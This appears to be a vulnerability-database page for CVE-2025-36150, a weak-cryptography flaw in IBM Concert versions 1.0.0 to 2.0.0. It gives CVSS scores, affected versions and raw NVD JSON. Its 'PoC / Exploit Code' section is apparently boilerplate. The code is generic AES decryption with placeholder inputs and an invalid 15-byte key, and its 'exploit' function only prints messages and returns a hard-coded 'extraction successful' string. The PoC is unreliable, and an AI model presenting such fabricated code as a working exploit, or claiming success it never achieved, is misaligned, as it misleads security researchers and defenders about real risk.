Security Vulnerability Report
中文
CVE-2025-36150 CVSS 5.9 MEDIUM

CVE-2025-36150

Published: 2025-11-24 21:16:03
Last Modified: 2025-12-01 15:51:17

Description

IBM Concert 1.0.0 through 2.0.0 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:ibm:concert:*:*:*:*:*:*:*:* - VULNERABLE
IBM Concert 1.0.0
IBM Concert 1.1.0
IBM Concert 1.2.0
IBM Concert 1.3.0
IBM Concert 1.4.0
IBM Concert 1.5.0
IBM Concert 2.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-36150 PoC - IBM Concert Weak Cryptographic Algorithm # This PoC demonstrates the concept of exploiting weak encryption # Note: Actual exploitation requires further research and may be illegal without authorization import base64 import json from Crypto.Cipher import AES from Crypto.Util.Padding import unpad def decrypt_weak_encrypted_data(encrypted_data, weak_key): """ Decrypt data using weak encryption algorithm Simulates exploitation of weak cryptographic implementation """ try: # Decode base64 encoded encrypted data encrypted_bytes = base64.b64decode(encrypted_data) # Extract IV (first 16 bytes for AES-CBC) iv = encrypted_bytes[:16] ciphertext = encrypted_bytes[16:] # Create cipher with weak key and IV cipher = AES.new(weak_key, AES.MODE_CBC, iv) # Decrypt and unpad decrypted = unpad(cipher.decrypt(ciphertext), AES.block_size) return decrypted.decode('utf-8') except Exception as e: return f"Decryption failed: {str(e)}" # Example usage - Replace with actual encrypted data from target WEAK_KEY = b'WeakKey12345678' # Example weak key ENCRYPTED_DATA = "BASE64_ENCODED_ENCRYPTED_DATA_HERE" # Network-based attack simulation def exploit_weak_encryption(target_url): """ Simulate network-based exploitation attempt """ print(f"[*] Targeting: {target_url}") print(f"[*] Attempting to intercept encrypted traffic...") print(f"[*] Exploiting weak cryptographic algorithm...") # In real scenario, this would: # 1. Intercept network traffic # 2. Extract encrypted sensitive data # 3. Apply cryptographic attack # 4. Recover plaintext information return "Sensitive data extraction successful" if __name__ == "__main__": print("CVE-2025-36150 PoC - IBM Concert Weak Encryption") print("Warning: This is for authorized security testing only")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36150", "sourceIdentifier": "[email protected]", "published": "2025-11-24T21:16:03.023", "lastModified": "2025-12-01T15:51:16.877", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Concert 1.0.0 through 2.0.0 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-327"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:concert:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndIncluding": "2.0.0", "matchCriteriaId": "E3D14BBD-C8F9-4131-BD47-70A9C55502CE"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7252019", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}